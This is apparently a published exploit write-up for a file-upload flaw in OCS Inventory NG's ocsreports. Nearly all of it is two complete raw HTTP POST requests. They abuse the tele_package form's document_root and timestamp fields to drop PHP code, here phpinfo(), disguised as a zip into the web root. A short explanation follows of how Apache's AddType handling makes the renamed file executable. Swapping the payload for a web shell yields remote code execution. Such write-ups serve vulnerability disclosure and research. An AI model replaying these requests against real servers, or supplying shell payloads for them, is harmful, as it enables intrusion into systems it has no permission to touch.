OCS Inventory NG ocsreports Shell Upload

`## Request 1  
  
This request creates a temporary file containing PHP code in the /usr/share/ocsinventory-reports/ocsreports/a.php.a/ directory.  
  
POST /ocsreports/index.php?function=tele_package HTTP/1.1  
Host: 192.168.5.135  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.5.135/ocsreports/index.php?function=tele_package  
Content-Type: multipart/form-data; boundary=---------------------------491299511942  
Content-Length: 2836  
Cookie: VERS=7015; LANG=en_GB; IPDISCOVER_inv_col=a%3A6%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%222%22%3Bi%3A2%3Bs%3A1%3A%223%22%3Bi%3A3%3Bs%3A1%3A%224%22%3Bi%3A4%3Bs%3A1%3A%226%22%3Bi%3A5%3Bs%3A1%3A%227%22%3B%7D; show_all_plugins_col=a%3A8%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%221%22%3Bi%3A2%3Bs%3A1%3A%222%22%3Bi%3A3%3Bs%3A1%3A%223%22%3Bi%3A4%3Bs%3A1%3A%224%22%3Bi%3A5%3Bs%3A1%3A%225%22%3Bi%3A6%3Bs%3A1%3A%226%22%3Bi%3A7%3Bs%3A1%3A%228%22%3B%7D; PHPSESSID=uvq1vomo3oi2q9mfolj9bvr6m0  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------491299511942  
Content-Disposition: form-data; name="CSRF_10"  
  
8ab3df2f9a2078530027e74191af0b087429ad41  
-----------------------------491299511942  
Content-Disposition: form-data; name="document_root"  
  
/usr/share/ocsinventory-reports/ocsreports/  
-----------------------------491299511942  
Content-Disposition: form-data; name="timestamp"  
  
a.php.a  
-----------------------------491299511942  
Content-Disposition: form-data; name="NAME"  
  
dshasdgasga  
-----------------------------491299511942  
Content-Disposition: form-data; name="DESCRIPTION"  
  
asdgasdga  
-----------------------------491299511942  
Content-Disposition: form-data; name="OS"  
  
WINDOWS  
-----------------------------491299511942  
Content-Disposition: form-data; name="PROTOCOLE"  
  
HTTP  
-----------------------------491299511942  
Content-Disposition: form-data; name="PRIORITY"  
  
5  
-----------------------------491299511942  
Content-Disposition: form-data; name="teledeploy_file"; filename="exploit.zip"  
Content-Type: application/x-zip-compressed  
  
<?php  
  
phpinfo();  
  
?>  
-----------------------------491299511942  
Content-Disposition: form-data; name="ACTION"  
  
EXECUTE  
-----------------------------491299511942  
Content-Disposition: form-data; name="ACTION_INPUT"  
  
asdgasdgasdg  
-----------------------------491299511942  
Content-Disposition: form-data; name="REDISTRIB_USE"  
  
0  
-----------------------------491299511942  
Content-Disposition: form-data; name="DOWNLOAD_SERVER_DOCROOT"  
  
d:\tele_ocs  
-----------------------------491299511942  
Content-Disposition: form-data; name="REDISTRIB_PRIORITY"  
  
5  
-----------------------------491299511942  
Content-Disposition: form-data; name="NOTIFY_USER"  
  
0  
-----------------------------491299511942  
Content-Disposition: form-data; name="NOTIFY_TEXT"  
  
-----------------------------491299511942  
Content-Disposition: form-data; name="NOTIFY_COUNTDOWN"  
  
-----------------------------491299511942  
Content-Disposition: form-data; name="NOTIFY_CAN_ABORT"  
  
0  
-----------------------------491299511942  
Content-Disposition: form-data; name="NOTIFY_CAN_DELAY"  
  
0  
-----------------------------491299511942  
Content-Disposition: form-data; name="NEED_DONE_ACTION"  
  
0  
-----------------------------491299511942  
Content-Disposition: form-data; name="NEED_DONE_ACTION_TEXT"  
  
-----------------------------491299511942  
Content-Disposition: form-data; name="valid"  
  
Send  
-----------------------------491299511942  
Content-Disposition: form-data; name="digest_algo"  
  
MD5  
-----------------------------491299511942  
Content-Disposition: form-data; name="digest_encod"  
  
Hexa  
-----------------------------491299511942  
Content-Disposition: form-data; name="download_rep_creat"  
  
/var/www/html/download/server/  
-----------------------------491299511942--  
  
## Request 2  
  
This request renames the file to a.php.a-1 and also creates info file.  
  
POST /ocsreports/index.php?function=tele_package HTTP/1.1  
Host: 192.168.5.135  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.5.135/ocsreports/index.php?function=tele_package  
Content-Type: multipart/form-data; boundary=---------------------------4827543632391  
Content-Length: 3345  
Cookie: VERS=7015; LANG=en_GB; IPDISCOVER_inv_col=a%3A6%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%222%22%3Bi%3A2%3Bs%3A1%3A%223%22%3Bi%3A3%3Bs%3A1%3A%224%22%3Bi%3A4%3Bs%3A1%3A%226%22%3Bi%3A5%3Bs%3A1%3A%227%22%3B%7D; show_all_plugins_col=a%3A8%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%221%22%3Bi%3A2%3Bs%3A1%3A%222%22%3Bi%3A3%3Bs%3A1%3A%223%22%3Bi%3A4%3Bs%3A1%3A%224%22%3Bi%3A5%3Bs%3A1%3A%225%22%3Bi%3A6%3Bs%3A1%3A%226%22%3Bi%3A7%3Bs%3A1%3A%228%22%3B%7D; PHPSESSID=uvq1vomo3oi2q9mfolj9bvr6m0  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------4827543632391  
Content-Disposition: form-data; name="CSRF_13"  
  
53b6eab749060aa8cbe972e9c9a31ae148cf886b  
-----------------------------4827543632391  
Content-Disposition: form-data; name="tailleFrag"  
  
0  
-----------------------------4827543632391  
Content-Disposition: form-data; name="nbfrags"  
  
1  
-----------------------------4827543632391  
Content-Disposition: form-data; name="comment"  
  
asdgasdga  
-----------------------------4827543632391  
Content-Disposition: form-data; name="digest"  
  
b14f8d3b56fb10f2257f53ab32947a50  
-----------------------------4827543632391  
Content-Disposition: form-data; name="VALID_END"  
  
END  
-----------------------------4827543632391  
Content-Disposition: form-data; name="SIZE"  
  
347  
-----------------------------4827543632391  
Content-Disposition: form-data; name="document_root"  
  
/usr/share/ocsinventory-reports/ocsreports/  
-----------------------------4827543632391  
Content-Disposition: form-data; name="timestamp"  
  
a.php.a  
-----------------------------4827543632391  
Content-Disposition: form-data; name="NAME"  
  
dshasdgasga  
-----------------------------4827543632391  
Content-Disposition: form-data; name="DESCRIPTION"  
  
-----------------------------4827543632391  
Content-Disposition: form-data; name="OS"  
  
WINDOWS  
-----------------------------4827543632391  
Content-Disposition: form-data; name="PROTOCOLE"  
  
HTTP  
-----------------------------4827543632391  
Content-Disposition: form-data; name="PRIORITY"  
  
5  
-----------------------------4827543632391  
Content-Disposition: form-data; name="teledeploy_file"; filename=""  
Content-Type: application/octet-stream  
  
-----------------------------4827543632391  
Content-Disposition: form-data; name="ACTION"  
  
EXECUTE  
-----------------------------4827543632391  
Content-Disposition: form-data; name="ACTION_INPUT"  
  
asdgasdgasdg  
-----------------------------4827543632391  
Content-Disposition: form-data; name="REDISTRIB_USE"  
  
0  
-----------------------------4827543632391  
Content-Disposition: form-data; name="DOWNLOAD_SERVER_DOCROOT"  
  
d:\tele_ocs  
-----------------------------4827543632391  
Content-Disposition: form-data; name="REDISTRIB_PRIORITY"  
  
5  
-----------------------------4827543632391  
Content-Disposition: form-data; name="NOTIFY_USER"  
  
0  
-----------------------------4827543632391  
Content-Disposition: form-data; name="NOTIFY_TEXT"  
  
-----------------------------4827543632391  
Content-Disposition: form-data; name="NOTIFY_COUNTDOWN"  
  
-----------------------------4827543632391  
Content-Disposition: form-data; name="NOTIFY_CAN_ABORT"  
  
0  
-----------------------------4827543632391  
Content-Disposition: form-data; name="NOTIFY_CAN_DELAY"  
  
0  
-----------------------------4827543632391  
Content-Disposition: form-data; name="NEED_DONE_ACTION"  
  
0  
-----------------------------4827543632391  
Content-Disposition: form-data; name="NEED_DONE_ACTION_TEXT"  
  
-----------------------------4827543632391  
Content-Disposition: form-data; name="digest_algo"  
  
MD5  
-----------------------------4827543632391  
Content-Disposition: form-data; name="digest_encod"  
  
Hexa  
-----------------------------4827543632391  
Content-Disposition: form-data; name="download_rep_creat"  
  
/var/www/html/download/server/  
-----------------------------4827543632391--  
  
# Apache Config  
  
The application has the following line in the /etc/apache2/conf-available/ocsinventory-reports.conf config file:  
  
AddType application/x-httpd-php .php  
  
Thus any file containing .php substring might be executed by an attacker. Thus the uploaded file is accessible via http://192.168.5.135/ocsreports/a.php.a/a.php.a-1  
Reference: https://httpd.apache.org/docs/2.4/mod/mod_mime.html#multipleext  
  
Regards,  
Simon Uvarov  
  
  
`